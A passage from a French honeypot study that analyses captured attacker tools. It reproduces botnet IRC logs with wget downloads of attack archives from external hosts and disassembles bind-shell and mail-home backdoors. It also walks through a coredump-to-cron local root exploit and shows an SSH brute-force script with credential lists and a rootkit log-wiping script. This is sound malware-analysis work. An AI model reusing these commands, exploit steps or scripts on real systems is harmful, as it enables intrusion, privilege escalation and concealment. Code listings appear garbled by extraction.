les systèmes windows. En effet, ces robots comme nous le verons dans la section ?? implémentent des actions très avancées comme le vol de code bancaire, la récupération des saisies au clavier... L’utilisation faite des botnets Pour explorer le monde des botnets, j’ai modifié les sources perl des robots pour les rendre inoffensifs sans éveiller les doutes des pirates. Ainsi, tous les messages envoyés par le robot ont été gardés et falsifiés avec de fausses données, toutes les actions ont été remplacées "par du vent" et tout le trafic au niveau du botnet est enregistré. Par exemple, le code suivant met en valeur les modifications apportées à la fonction udpflood(). 2 4 6 8 10 12 14 i r c : : raw ( "PRIVMSG $_ [ 0 ] : \ 0 0 2 [ UDP−DDOS] \ 0 0 2 A t t a c k i n g " . $_ [ 1 ] . " : " . $_ [ 2 ] . " f o r " . $_ [ 3 ] . " ’ . " ) ; $s_time = time ; #my $ s o c k e t ; my $ p a c k e t s = 0 ; # s o c k e t ( $ s o c k e t , PF_INET , SOCK_DGRAM, 1 7 ) ; w h i l e ( $_ [ 3 ] > ( t i m e − $ s _ t i m e ) ) { # send ( $socket , 0 , 0 , # s o c k a d d r _ i n ( ! $_ [ 2 ] ? i n t ( r a n d ( 6 5 5 0 0 ) + 1 ) : $_ [ 2 ] , i n e t _ a t o n ( $_ [ 1 ] ) ) ) ; usleep (5); $ p a c k e t s ++; } # close ( $socket ) ; i r c : : raw ( "PRIVMSG $_ [ 0 ] : \ 0 0 2 [ UDP−DDOS] \ 0 0 2 S e n t " . $ p a c k e t s . " p a c k e t s . " ) ; La fonction remplace l’envoi de paquets UDP (commentaires) par un temps d’attente de 5ms mais garde le même comportement au niveau des informations qui sont renvoyées sur le channel irc, le pirate n’y voit que du feu. 35 Les botnets, une arme en pleine expansion 5 RÉSULTATS Après la mise en place des différents robots sur une dizaine de botnets, les utilisations suivantes ont pu être observées : – DDoS16 Comme nous l’avons vu avec les fonctions *flood(), les pirates aiment les dénis de service et plus particulièrement quand ils sont distribués comme c’est le cas pour un botnet où les requêtes sont émises depuis les quatres coins du monde avec des adresses IP différentes. <xeQt> !udpflood 208.101.16.120 500 500 <readd789> (UDP DDoSing) Attacking: 213.168.230.66 - Time: 500seconds (...) Dans l’exemple ci-dessus, xeQt, l’administrateur du botnet, ordonne à ses zombies de lancer un déni de service UDP contre la machine 208.101.16.120 en l’inondant de paquets UDP pendant 500secondes et sur le port 500. – Diffusion de nouveaux programmes Par l’intermédiaire du programme GNU wget, les pirates n’hésitent pas à installer sur les machines compromises d’autres programmes réalisant des actions malveillantes plus puissantes que celles implémentées dans le robot. <fazanul> !norman wget panarama2005.go.ro/sockd1.tgz <pizda|X|6100> --03:30:24-- http://panarama2005.go.ro/sockd1.tgz (...) <fazanul> !norman tar zxvf sockd1.tgz (...) <fazanul> !norman sockd1/psybnc fazanul demande aux zombies de télécharger une archive, de l’extraire, et d’exécuter le binaire psybnc qui est un simple proxy IRC qui va permettre au pirate de se connecter sur un réseau IRC avec l’adresse IP d’une machine compromise. – Abus des publicités Pour se faire un peu d’argent de poche, les pirates demandent l’ouverture d’URL de publicités sur internet qui marche avec un paiement au nombre de clics. <alef> !atk wget http://pagead2.googlesyndication.com/pagead/iclk?sa=l alef demande le téléchargement d’une page se trouvant sur les serveurs de googlesyndication, le système de messages publicitaires de google. – Mise à jour du robot Gràce à l’action eval, les pirates peuvent mettre à jour les zombies à la volée sans qu’ils ne se déconnectent du réseau. Ainsi, les pirates utilisent cette fonctionnalité pour mettre à jour quelques variables importantes comme la liste des administrateurs du botnet, les requêtes google à effectuées pour l’expansion du botnet. Dans cette partie, nous avons décrit le fonctionnement des botnets qui s’attaquent aux systèmes UNIX. On peut remarquer que les actions effectuées sur ces réseaux restent 16 Distributed Denial of Service Attack 36 Analyse de binaires 5 RÉSULTATS encore très limitées comparées à celles proposés par des robots comme SDBot ou AgoBot présentés dans la section 5. Analyse de binaires Cette section utilise l’art de l’ingénierie inverse17 pour analyser les binaires récoltés sur les différents honeypots, windows ou GNU/Linux. Linux bindz bash-2.05b$ file bindz bindz: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.5, dynamically linked (uses shared libs), not stripped Le binaire bindz est un exécutable pour GNU/Linux qui a été téléchargé par un pirate roumain lors d’une session avec kojoney. Le binaire n’est pas strippé, nous pouvons afficher la table des symbôles pour avoir un aperçu des fonctions de la glibc utilisées. bash-2.05b$ readelf -s bindz (...) Symbol table ’.symtab’ contains 112 entries: Num: Value Size Type Bind Vis Ndx Name (...) 66: 08048810 46 FUNC GLOBAL DEFAULT UND fork@@GLIBC_2.0 71: 08048860 90 FUNC GLOBAL DEFAULT UND execve@@GLIBC_2.0 75: 08048890 57 FUNC GLOBAL DEFAULT UND listen@@GLIBC_2.0 108: 080489d0 57 FUNC GLOBAL DEFAULT UND socket@@GLIBC_2.0 Les appels aux fonctions socket(), listen(), fork() et execve() laisse présager que le binaire est une simple porte dérobée à l’écoute d’un port TCP qui permet d’offrir un interpréteur de commandes à distance. Afin de vérifiez cette hypothèse, analysons le code assembleur à partir de la fonction main(). 2 4 6 8 10 bash −2. 0 5 b $ gdb b i n d z GNU gdb 6 . 1 . 1 [ FreeBSD ] C o p y r i g h t 2004 F r e e S o f t w a r e F o u n d a t i o n , I n c . ( ... ) 0 x08048d04 <main +0 >: push %ebp 0 x08048d05 <main +1 >: mov %esp ,% e b p . 0 x08048d07 <main +3 >: push %e d i 0 x08048d08 <main +4 >: push %e s i 0 x08048d09 <main +5 >: push %ebx 0 x08048d0a <main +6 >: sub $0x1885c ,% e s p 0 x08048d10 <main +12 >: sub $0x4 ,% e s p 100444 octets sont alloués sur la pile. Cet espace va probablement être utilisé comme tampon pour accueillir les commandes du pirate ainsi que les réponses qui lui seront transmises (sortie de commandes). 17 reverse engeneering 37 Analyse de binaires 1 3 0 x08048d13 0 x08048d15 0 x08048d17 0 x08048d19 5 <main +15 >: <main +17 >: <main +19 >: <main +21 >: push push push call RÉSULTATS $0x6 $0x1 $0x2 0 x80489d0 < s o c k e t > Nous avons imméaditement un appel à socket(0x2, 0x1, 0x6) qui se traduit en C par un socket(AF_INET, SOCK_STREAM, IPPROTO_TCP). Une socket TCP est donc ouverte. 2 4 6 8 10 12 14 16 0 x08048d62 <main +94 >: push $0x0 0 x08048d64 <main +96 >: call 0 x8048850 < h t o n l > ( ... ) 0 x08048d76 <main +114 >: p u s h $0x2689 0 x08048d7b <main +119 >: c a l l 0 x80489a0 < h t o n s > ( ... ) 0 x08048dc8 <main +196 >: c a l l 0 x8048890 < l i s t e n > ( ... ) 0 x08048e26 <main +290 >: c a l l 0 x8048810 < f o r k > ( ... ) 0 x08048e54 <main +336 >: c a l l 0 x80488a0 < s e t s i d > 0 x08048e59 <main +341 >: s u b $0xc ,% e s p 0 x 0 8 0 4 8 e 5 c <main +344 >: p u s h $0x8049655 0 x08048e61 <main +349 >: c a l l 0 x80488e0 < c h d i r > ( gdb ) x / s 0 x8049655 0 x8049655 < _ I O _ s t d i n _ u s e d +145 >: " / " Une structure sockaddr_in est remplie avec l’adresse NULL qui cible toutes les machines et le port 9865. Cette structure est ensuite passée à la fonction listen() qui va se mettre en écoute sur le port 9865/TCP. Le programme se place ensuite en tâche de fond avec un fork() suivi d’un setsid() puis change son répertoire courant pour se placer à la racine /. 2 4 6 8 10 12 14 16 18 20 ( ... ) 0 x08048ef5 ( ... ) 0 x08048f90 ( ... ) 0 x08049047 ( ... ) 0 x0804912b 0 x0804912d 0 x08049130 ( ... ) 0 x08049145 0 x08049148 0 x0804914b 0 x0804914d 0 x08049150 0 x08049155 0 x08049158 0 x0804915b 0 x0804915e <main +497 >: call 0 x8048880 < a c c e p t > <main +652 >: call 0 x80489e0 < r e a d > <main +835 >: call 0 x8048ba4 < o p e n _ t t y > <main +1063 >: p u s h <main +1065 >: p u s h l <main +1068 >: c a l l $0x0 0 x f f f f f f a 4 (% ebp ) 0 x8048920 <dup2 > <main +1089 >: <main +1092 >: <main +1095 >: <main +1097 >: <main +1100 >: <main +1105 >: <main +1108 >: <main +1111 >: <main +1114 >: $0x10 ,% e s p $0x8 ,% e s p $0x2 0 x f f f f f f a 4 (% ebp ) 0 x8048920 <dup2 > $0x10 ,% e s p $0xc ,% e s p 0 x f f f f f f a 4 (% ebp ) 0 x80487f0 < close > add sub push pushl call add sub pushl call Lorsqu’une connexion arrive sur la socket, le programme enregistre une chaîne de caractères (read()) en provenance de l’utilisateur. Une fois la chaîne reçue, aucun traitement n’est faite sur celle ci et le programme ouvre un terminal virtuel (tty) auquel il associe le flux arrivant et sortant de la socket. Il clone (dup2()) ensuite les flux standards vers le nouveau tty afin que l’utilisateur puisse intéragir à distance avec ce dernier. On peut penser que le read() lors de la connexion est là pour mettre en place une protection par mot de passe qui n’a pas été implémentée... 2 0 x08049176 <main +1138 >: p u s h 0 x08049177 <main +1139 >: p u s h 0 x0804917c <main +1144 >: c a l l %e a x $0x804968c 0 x8048860 < e x e c v e > 38 Analyse de binaires 4 5 ( gdb ) x / s 0 x804968c 0 x804968c < _ I O _ s t d i n _ u s e d +200 >: RÉSULTATS " / bin / sh " Pour finir, le programme fait un execve() du shell /bin/sh. L’utilisateur distant possède alors un interpréteur de commandes basique. Bindz n’est donc qu’une simple porte dérobée ne faisant, ni plus ni moins, que binder un shell sur le port 9865/TCP sans mettre en place aucune sécurité. En effet, le binaire n’utilise aucune méthode pour durcir son analyse, il est facilement détectable avec un simple ps aux et un shell peut être ouvert par n’importe qu’elle utilisateur distant sans la moindre authentification. r0nin3 bash-2.05b$ file r0nin3 r0nin3: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.0, dynamically linked (uses shared libs), not stripped Tout comme l’exécutable précédent, r0nin3 est un binaire pour GNU/Linux qui a été uploadé lors d’une session avec kojoney. Nous pouvons commencer par afficher un listing de toutes les chaînes ascii présentes dans le binaire avec la commande strings pour se faire une première idée sur le programme. bash-2.05b$ strings r0nin3 PsychoPhobia Backdoor v3 by m0rtix is starting...OK, pid = %ld Shell on: 9997 User: %s UID: %ld 2.2. Rootab !! use: ptrace! (...) Rootab !! use: expand_stack, Krad(if 2004), Krad2(if 2004), Krad3 ! 2.6.10 D’après ce listing, nous pouvons en déduire que nous sommes tombé sur la backdoor écrite par le pirate marseillais surnommé m0rtix et dont les sources, ainsi que le binaire, sont disponibles sur la toile. Ce pirate s’est fait arrêté le 15 Janvier 2007 par l’OCLCTIC18 . Il est accusé d’avoir mis à disposition des programmes permettant l’accès frauduleux pour en faire du profit. En effet, si nous comparons le binaire avec les sources nous dissernons quelques différences. . . 1 3 0 x 0 8 0 4 8 f 1 0 <main +396 >: 0 x 0 8 0 4 8 f 1 5 <main +401 >: 0 x 0 8 0 4 8 f 1 a <main +406 >: call call call 0 x804997e <kwst > 0 x8049f73 < callhim > 0 x8049156 < l e s e r v e r > Lorsque le pirate exécute le binaire sur la machine la fonction kwst() est appelée et celle-ci lui donne les exploits à utiliser en fonction de la version du noyau pour gagner les droits du super utilisateur. Avant que le serveur, fonction leserver() qui effectue les mêmes opérations que le binaire précédent, soit lancé, la fonction callhim() est exécutée. Cette fonction n’est pas présente dans les sources rendues publiques par m0rtix et cache sûrement des choses intéressantes ajoutées par m0rtix dans sa version binaire. 18 Office Central de Lutte contre la Criminalité liée aux Technologies de l’Information et de la Communication 39 Analyse de binaires 1 3 5 7 9 11 13 15 17 19 08049 f 7 3 < c a l l h i m > : 8049 f 7 3 : 55 8049 f 7 4 : 89 e5 8049 f 7 6 : 57 8049 f 7 7 : 56 8049 f 7 8 : 53 8049 f 7 9 : 81 e c a c 8049 f 7 f : e8 b0 e a 8049 f 8 4 : 89 45 e4 8049 f 8 7 : 83 7 d e4 8049 f 8 b : 0 f 85 01 ( ... ) 804 a 1 3 e : 89 44 24 804 a142 : 8 b 45 e0 804 a145 : 89 04 24 804 a148 : e8 47 eb 804 a14d : 89 45 dc 804 a150 : c7 04 24 804 a157 : e8 78 e8 5 02 00 00 ff ff 00 06 00 00 04 ff ff 01 a e 04 08 ff ff RÉSULTATS push mov push push push sub call mov cmpl jne %ebp %esp ,% ebp %e d i %e s i %ebx $0x2ac ,% e s p 8048 a34 < _ i n i t +0 x98 > %eax , 0 x f f f f f f e 4 (% ebp ) $0x0 , 0 x f f f f f f e 4 (% ebp ) 804 a592 < c a l l h i m +0 x61f > mov mov mov call mov movl call %eax , 0 x4(% e s p ) 0 x f f f f f f e 0 (% ebp ) ,% e a x %eax ,(% e s p ) 8048 c94 < _ i n i t +0 x2f8 > %eax , 0 x f f f f f f d c (% ebp ) $0x804ae01 ,(% e s p ) 80489 d4 < _ i n i t +0 x38 > Lorsque l’on regarde de plus près le code assembleur de la fonction callhim(), nous nous apercevons que m0rtix a mis en place des petites astuces pour durcir l’analyse statique de cette fonction comme l’utilisation exessive des instructions lea/mov pour placer des arguments sur la pile. Pour en déduire facilement le rôle de cette fonction, nous allons faire un débuggage actif dans un environnement sain et isolé. Pour pouvoir tracer correctement le binaire, nous devons modifier le test qui dit que si nous n’avons pas l’uid égale à 0 alors nous quittons le programme. Pour cela, on remplace l’instruction jne 804a592 <callhim+0x61f> par une série de NOP (0x90). 1 3 ( gdb ) x / i 0 x 0 8 0 4 9 f 8 b 0 x 8 0 4 9 f 8 b < c a l l h i m +24 >: nop ( gdb ) 0 x 8 0 4 9 f 8 c < c a l l h i m +25 >: nop Nous pouvons alors lancer le binaire avec la commande strace qui va nous donner les appels systèmes utilisés par le programme ainsi que les arguments associés. bash-2.05b$ strace ./r0nin3 connect(3, {sa_family=AF_INET, sin_port=htons(25), sin_addr=inet_addr("127.0.0.1")}, 16) = 0 getpeername(3, {sa_family=AF_INET, sin_port=htons(25), sin_addr=inet_addr("127.0.0.1")}, [16]) = 0 read(3, "220 linsucks.clem1.be ESMTP Exim"..., 512) = 71 write(3, "\nHELO truc.domaine.fr\n\0\0\0\0\0\0\0\0\0\0"..., 512) = 512 read(3, "554 SMTP synchronization error\r\n", 512) = 32 --- SIGCHLD (Child exited) @ 0 (0) --write(3, "\nMAIL FROM: <[email protected]>\n"..., 512) = 512 read(3, "", 512) = 0 write(3, "\nRCPT TO: <[email protected]>\n\0\0\0\0\0"..., 512) = -1 Gagné ! La fonction callhim() permet d’envoyer un mail, à travers le serveur smtp local de la machine, à [email protected], l’adresse email du créateur du programme, avec comme contenu les informations du système qui vient d’être piraté. Ainsi m0rtix avait l’adresse de toutes les machines piratées avec son programme et il a du profiter de cela pour se connecter sur les machines vulnérables afin de réaliser des actes malveillants qui lui ont couté la visite de la police à son domicile le 15 Janvier au lever du jour. 40 Analyse de binaires 5 RÉSULTATS 26root Lorsqu’un pirate a réussi à s’infiltrer dans la machine, sa première priorité est d’obtenir les pleins pouvoirs. Pour cela, il récupère à distance, en fonction des caractèristiques du système d’exploitation, une archive contenant quelques exploits pré-compilés pour ensuite les essayer un par un jusqu’au tant espéré rootshell. C’est ce qui s’est passé sur la machine qui faisait tourner un ssh avec des mots de passe faibles où le pirate a directement lancé la commande uname -a pour découvrir la version du noyau linux et a, dans la foulée, lancé un wget pour récupérer un .tgz rempli de binaires. [guest@paf ]$ uname -a Linux paf 2.4.32-bs3 #1 Wed May 3 13:29:01 BST 2006 i686 unknown [guest@paf ]$ wget http://geocities.com/zapaliu/reales.tgz Si on regarde de plus près le contenu de l’archive, on peut remarquer qu’elle contient pas moins de 39 exploits pré-compilés classés par version du noyau linux. bash-2.05b$ tar xzvf reales.tgz | wc -l 39 bash-2.05b$ du -a 6 ./2.0.34/2.0.34 8 ./2.0.34 14 ./2.2.18/epcs2 6 ./2.2.18/epcs2.c 22 ./2.2.18 2 ./2.4.19 18 ./2.4.20/elflbl.c (...) 22 ./2.6.11/uselib On retrouve des exploits pour les kernels versions 2.2, 2.4 et surtout 2.6. Parmi ces exploits, seul le binaire nommé 26root ne semble n’avoir aucune source publiée sur la toile. Regardons de plus près cet exploit qui, d’après son nom ne semble affecter que les noyaux de la branche 2.6. bash-2.05b$ strings 26root YHG OWNZ U (...) 2.6.* local root exploit by DJERASER (...) #/etc/cron.d/core suid_dumpable exploit #%s* * * * * root chown root:root %s && chmod 4755 %s... (...) Le listing des chaînes de caractères dans le binaire ne fait que confirmer notre hypothèse, c’est un exploit pour les kernels 2.6.x et google ne connaît aucun DJERASER, ni ses exploits qu’il a pu écrire. Dans cet exploit on retrouve des chaînes relative au démon crontab. En effet, ce listing laisse penser que ce programme exploite une faille dans le kernel permettant de copier la chaîne "%s* * * * * root chown root :root %s && chmod 4755 %s..." dans le fichier /etc/cron.d/core. Les actions (chown, chmod, exécution) dans ce fichier seront alors exécutées avec les droits root par le démon crontab. On peut alors se demander comment le programme pourrait-il faire cela à partir d’un simple compte utilisateur ? 41 Analyse de binaires 5 RÉSULTATS bash-2.05b$ readelf -s 26root (...) 7: 00000000 261 FUNC GLOBAL DEFAULT UND setrlimit@GLIBC_2.2 (3) (...) 9: 00000000 72 FUNC GLOBAL DEFAULT UND prctl@GLIBC_2.0 (2) (...) 11: 00000000 626 FUNC GLOBAL DEFAULT UND sleep@GLIBC_2.0 (2) En jetant un coup d’oeil à la table des symbôles, on peut voir que le programme utilise 2 fonctions spécifiques, prctl() et setrlimit(), au système Linux. La fonction prctl() permet de spécifier des opérations à effectuer sur un processus. Depuis la version 2.6.13 du kernel Linux, l’option PR_SET_DUMPABLE possède une nouvelle valeur (2) qui permet d’ordonner au programme de créer un coredump19 que seul le super-utilisateur pourra lire, une simple histoire de droit... [man 2 prctl] Since kernel 2.6.13, the value 2 is also permitted ; this causes any binary which normally would not be dumped to be dumped readable by root only. Cette fonctionnalité est bien sympathique mais elle a le problème d’avoir était mal pensée et quelques mois après sa sortie, une faille était déjà dévoillée au grand public par l’équipe de sécurité de RedHat. Les développeurs du noyau, avec la mise en place de cette fonctionnalité, ont, sans le vouloir, permis à n’importe quel processus de faire un coredump dans un n’importe quel répertoire. On peut penser que cet exploit utilise alors cette faille pour faire un coredump dans le répertoire /etc/cron.d/. clem1@plouf:~$ ltrace -f ./26root (...) setrlimit(4, 0x8049c80, 2048, 0x804877c, 1) chdir("/etc/cron.d") prctl(PR_SET_DUMPABLE, 2, 2048, 0x804877c, 1) = 0 = 0 = -1 Le programme fait bien un appel à la fonction prctl() avec les arguments vulnérables après s’être positionné dans /etc/cron.d/ avec un chdir(). Comme nous travaillons dans une sandbox avec un kernel patché (2.6.19), cet appel a échoué et le programme a stoppé son exécution. Pour le tromper, nous allons intercepter la fonction prctl() pour qu’elle retourne 0. clem1@plouf:~$ cat prctl.c int prctl(int o, unsigned long a1, unsigned long a2, unsigned long a3, unsigned long a4) { return 0; } clem1@plouf:~$ gcc -shared -o prctl.so prctl.c clem1@plouf:~$ LD_PRELOAD="./prctl.so" ltrace ./26root setrlimit(4, 0x8049c80, 2048, 0x804877c, 0xb7f4eff4) = 0 chdir("/etc/cron.d") = 0 prctl(4, 2, 2048, 0x804877c, 0xb7f4eff4) = 0 getpid() = 9237 snprintf("#/etc/cron.d/core suid_dumpable "..., 2048, ...) = 273 19 image de la mémoire du processus avant un plantage ou de la réception d’un signal particulier 42 Analyse de binaires 5 fork() kill(9238, 11) (...) sleep(120 <unfinished ...> (...) RÉSULTATS = 9238 = 0 Voilà qui est plus clair, après le succès de l’appel à prctl(), crée un processus fils avec l’appel à fork() qu’il tue ensuite en envoyant un signal SIGSEGV avec kill(). Lorsque le fils est tué avec le signal SIGSEGV, il crée une image de la mémoire contenant la chaine suivante placée grâce au snprintf() situé avant le fork() : %s* * * * * root chown root:root %s && chmod 4755 %s && rm -rf %s && kill -USR1 %d; rm /etc/cron.d/cor* Cette chaîne sera présente dans le fichier /etc/cron.d/core et sera lue par crontab qui va ignorer toutes les lignes précédentes. Ainsi lorsque crontab va lancer les taches planifiées, il va tomber sur cette ligne et va exécuter les actions spécifiées qui disent de changer le propriétaire et de placer le bit set-uid (4755) sur l’exploit (lui-même) avant de lui envoyer un signal USR1 et de supprimer le fichier core généré qui ne sert plus à rien. (gdb) x/s 0x8048adf (gdb) x/s 0x8049dc0 (gdb) x/s 0x8049dc0 0x8048adf <_IO_stdin_used+103>: "/etc/cron.d/core" 0x8049dc0 <fname>: "/home/clem1/26root" 0x8049dc0 <fname>: "/home/clem1/26root" Exécuter cet exploit sur une machine vulnérable peut se résumer à la procédure suivante : 1. si on à l’UID 0 on exécute un shell 2. prctl(4, 2) sur le processus 3. on se place dans /etc/cron.d/ 4. on place la chaine "* * * * * root chown root :root exploit && chmod 4755 exploit" en mémoire 5. on crée un processus fils 6. on le tue méchamment avec un SIGSEGV 7. création du coredump dans /etc/cron.d/ 8. on attend que crontab s’exécute 9. dès que l’on reçoit un signal USR1 on exécute un shell 10. si après 2 minutes d’attente on a rien reçu, on quitte. 43 Analyse de binaires 5 RÉSULTATS Scanneurs SSH Comme cela a été mentionné dans la présentation de kojoney, les pirates utilisent des programmes automatisés pour scanner des plages d’adresses IP ayant le port SSH ouvert afin de réaliser une attaque par brute force pour trouver des comptes utilisant des mots de passe faibles. Lors d’une session kojoney et d’une session avec notre honeypot à forte interaction laissant accessible un serveur ssh vulnérable, nous avons récupéré deux de ces outils dont un avec les sources. Le premier est une archive contenant plusieurs programmes et un script shell dont le contenu est présenté ci-dessous. bash-2.05b$ cat unix #!/bin/bash if [ $# != 1 ]; then echo "[+] Folosim : $0 [b class]" exit; fi echo "[+][+][+][+][+] UnixCoD Atack Scanner [+][+][+][+][+]" echo "[+] SSH Brute force scanner : user & password [+]" echo "[+] Undernet Channel : #help-bnc [+]" echo "[+][+][+][+][+][+][+] ver 0x10 [+][+][+][+][+][+][+]" ./find $1 22 sleep 10 cat $1.find.22 |sort |uniq > ip.conf ./atack 100 Il attend en argument une plage d’adresses IP de classe B puis lance le programme find qui permet de scanner chaque adresse de la classe pour déterminer si le port 22 est ouvert, si c’est le cas, l’adresse est placée dans le fichier ip.conf en vérifiant bien qu’elle n’y soit pas déjà présente (sort, uniq) avant de lancer le programme atack qui est le programme principal qui va effectuer les tests sur les différents serveurs ssh du fichier ip.conf. En complément de ces programmes, nous avons le fichier data.conf qui contient la liste des couples login/pass à tester. bash-2.05b$ head data.conf root root admin admin test test guest guest webmaster webmaster mysql mysql oracle oracle library library info info shell shell bash-2.05b$ tail data.conf root 123abc root 007007 root 10sne1 root @#$%^& root 4runner 44 Analyse de binaires 5 RÉSULTATS root 2welcome root !@#$%^" root !@#$%^& root !@#$%^&* root * bash-2.05b$ cat data.conf | wc -l 24025 Ce fichier contient tout de même 24025 couples différents visant principalement le compte root. En effet, c’est le compte le plus prisé puisqu’il donne les privilèges les plus élevés et qu’il y a des grandes chances qu’il existe sur la machine. L’autre programme, dont nous possèdons les sources, est composé d’un seul fichier nommé sshbrute. Son fonctionnement doit être sensiblement le même que le binaire atack. bash-2.05b$ strings atack | grep libssh SSH-2.0-libssh-0.1 libssh does not support SSH1 protocol it might be a bug of libssh bash-2.05b$ cat sshbrute.c | grep libssh #include <libssh/libssh.h> Les deux programmes utilisent la libssh, une librairie développée en grande partie lors du google Summer of Code 2005 par un étudiant belge. Cette librairie possède toutes les APIs nécessaires pour manipuler le protocole SSH, elle s’occupe de la gestion de la cryptographie, de la génération des paires de clefs... Ainsi en utilisant ces APIs l’écriture d’un brute force pour serveurs SSH est un jeu d’enfant comme le souligne le nombre de lignes de code écrites pour sshbrute.c. bash-2.05b$ cat -s sshbrute.c | grep -v "\*" | egrep -v "^$" | wc -l 182 Après la lecture rapide du code, on peut s’apercevoir que le programmeur n’est pas si doué que ça, on retrouve des parties sans indentation, des indentations constituées à la fois d’espaces et de tabulations qui laissent présager que du code lâchement copié/collé. Le fonctionnement du programme est très simple, il crée plusieurs processus fils qui se connecte au serveur ssh avec l’API ssh_connect() et tente ensuite une série de couples login/pass qui sont inscrits en dur dans la source du programme. bash-2.05b$ cat sshbrute.c | grep checkauth (...) checkauth("test", "test", buffer); // Brute user/pass. checkauth("patrick", "patrick", buffer); // Brute user/pass. checkauth("oracle", "oracle", buffer); // Brute user/pass. bash-2.05b$ cat sshbrute.c | grep checkauth | wc -l 85 Seulement 85 combinaisons sont testées, elles se ressemblent tous dans le sens où le développeur a misé sur l’emploi abusif du même login et mot de passe. Parmi ces combinaisons, aucune ne fait réference au compte root, peut-être que le développeur possède aucune connaissance des systèmes unix ? Le fonctionnement du binaire atack est sensiblement le même que ce programme excepté qu’il va chercher la liste des couples login/pass dans un fichier séparé ce qui permet au pirate qui ne possède pas les sources du programme de modifier ou mettre à jour les login/pass testés. . . 45 Analyse de binaires 5 RÉSULTATS T0rnkit Pour garder accès à la machine et camoufler tous les changements qu’il effectue, le pirate installe généralement une suite de programmes que l’on trouve dans un rootkit. Depuis quelques années, les rootkits ont évolué pour passer de la simple corruption de binaire en espace utilisateur à la modification des appels système dans le noyau. Les pirates sont cependant restés à l’ancienne école comme le montre cette section qui décrit l’analyse du programme tornkit qui est une suite d’outils permettant de cacher sa présence sur un système. Le rootkit se présente sous l’arborescence suivante : – – – – – setup - script shell qui permet d’installer le rootkit automatiquement. bin/ - répertoire contenant des binaires piratés tels ls, ps, top, netstat conf/ - répertoire regroupant les fichiers de configuration. lib/ - répertoire contenant les librairies dépendantes des binaires (libproc). scan/ - répertoire contenant des programmes pour effectuer des scan de ports Son fonctionnement est simple, le script shell setup remplace à coup de mv les binaires de base du système par ceux du rootkit tout en replaçant à son état précédent, avec la commande touch, la date de dernière modification des binaires. Un script shell nommé sz permet de bourrer, à l’aide de la commande dd, les binaires de 0 pour qu’ils atteignent la même taille que leurs originaux. Toutes ces actions ont pour but d’empêcher l’administrateur de détecter une anomalie en se promenant dans l’arborescence mais ne protège pas la détection du rootkit contre une simple somme de contrôle sur les binaires modifiés, même basée sur le protocole MD5, cassable facilement depuis quelques années. Pour en savoir un peu plus sur le fonctionnement des binaires, nous pouvons analyser les fichiers de configurations qui sont placés par le script setup dans /usr/include/. clem1@linsucks:~$ ls conf/ file.h hosts.h lidps1.so log.h clem1@linsucks:~$ cat conf/file.h libext-2.so.7 .sh system tksb (...) proc.h Les fichiers de configuration du rootkit, dont l’extension est un .h pour se confondre avec les autres entêtes de /usr/include/, spécifient les processus et les fichiers à cacher, les adresses IP à masquer et une liste de mots (log.h) à ne pas afficher. On en déduit alors que les binaires fournis avec le rootkit s’occupent de masquer ce qui est référencé dans ces fichiers. Vérifions cela en jouant avec le ls de notre rootkit. linsucks:/home/clem1/# cp conf/*.h /usr/include/ clem1@linsucks:~$ head -1 /usr/include/file.h cacaprout clem1@linsucks:~$ ls cacaprout cacaprout clem1@linsucks:~$ bin/ls -l cacaprout 46 Analyse de binaires 5 RÉSULTATS Magique ! Notre hypothèse est vérifiée. Lorsque que nous configurons le rootkit pour ne pas lister le fichier cacaprout, il n’est pas lister par le binaire ls piraté alors qu’il l’est avec le ls original. Au final, login, ifconfig, ps, du, ls, netstat, finger, find et top sont modifiés de la même façon par le rootkit qui intègre en plus un script shell qui permet d’effacer les traces du pirate dans les logs. 2 4 6 8 for f i l in / var / log /∗ do l i n e s = ‘ c a t $ f i l | wc −l ‘ g r e p −v $1 $LOGPATH / $ f i l > new t o u c h −r $LOGPATH / $ f i l new mv −f new $LOGPATH / $ f i l done k i l l a l l −HUP s y s l o g d Il prend en argument une chaîne de caractères $1. Il parcourt ensuite, un par un, chaque fichier présent dans /var/log, retire les lignes dans lesquelles se trouvent la chaîne passée en paramètre et ré-ajuste la date de modification des logs avec la commande touch. Il termine par redémarrer le démon syslogd pour qu’il réouvre ses descripteurs de fichier. T0rnkit fut le premier rootkit à utiliser des binaires précompilés pour linux/x86 configurables à l’aide de fichiers de configuration et malgré l’arrivé de rootkit bien plus puissant s’attaquant directement au noyau, les pirates continuent à l’utiliser. Binaires pour windows À l’inverse des systèmes UNIX, le nombre de binaires visant le système d’exploitation de Redmond est assez conséquent, environ 150 différents exécutables ont été récoltés rien qu’avec nepenthes. Après un passage dans l’antivirus libre clamAV, on peut s’apercevoir que la plupart de ces programmes sont des variantes des célèbres SDBot, Agobot ou encore Rbot, des robots IRC se connectant à un botnet et dont nous verrons les fonctions avancées qu’ils proposent. bash-2.05b$ clamscan * | head -5 005147d5d662830fa39c8f8f96c0e31f: 007dfca76334f1a00adda6cdf19df25d: 01508130dc94e959ee2226a3bd63380b: 0184690e186ab69cc9147a48e2797d21: 03f75b3ee0725bd67ad349d4f3a2e640: Trojan.Sdbot-3486 Trojan.SdBot-4124 Trojan.AgoBot-722 Trojan.SdBot-2631 Trojan.IRCBot-776 FOUND FOUND FOUND FOUND FOUND On peut remarquer qu’une trentaine de ces binaires ne sont pas détectés par clamav alors qu’ils réalisent clairement des actions malveillantes, nous analyserons dans cette section les techniques pour se cacher des antivirus. bash-2.05b$ clamscan * | grep OK | wc -l 27 Les robots IRC sur-puissants Dans la section consacrée aux botnets, nous avons découvert les robots IRC fonctionnant sur les systèmes UNIX. Dans cette partie, nous analyserons leurs cousins de chez Redmond qui sont bien plus avancés et qui visent une population différente, les utilisateurs. Le listing suivant présente les différents robots capturés. 47 Analyse de binaires 5 RÉSULTATS – Agobot Publié en 2002, Agobot est un robot IRC qui possède plus de 100 variantes et qui est aussi connu sous le nom de Phatbot. C’est probablement le robot le mieux codé et le plus sophistiqué. Il a été écrit en C et possède en moyenne 20 000 lignes de code. Il implémente un système de chargement à la volée de modules qui permet au pirate d’écrire leur propre module. Parmi les actions intéressantes présentes en natif, on retrouve la possibilité de diffuser les comptes paypal et AOL de la machine, de corriger les principales vulnérabilités de windows telles que RPC.DCOM, LSASS, se protéger contre les outils de débuggage actif tels que OllyDBG ou softICE. – SDBot Publié en 2002 sous la licence GPL, SDBot est à la base un robot IRC sans aucune mauvaise intention et programmé en 2000 lignes de C. Il a était utilisé par les pirates comme base pour construire leur propre robot et on peut trouver 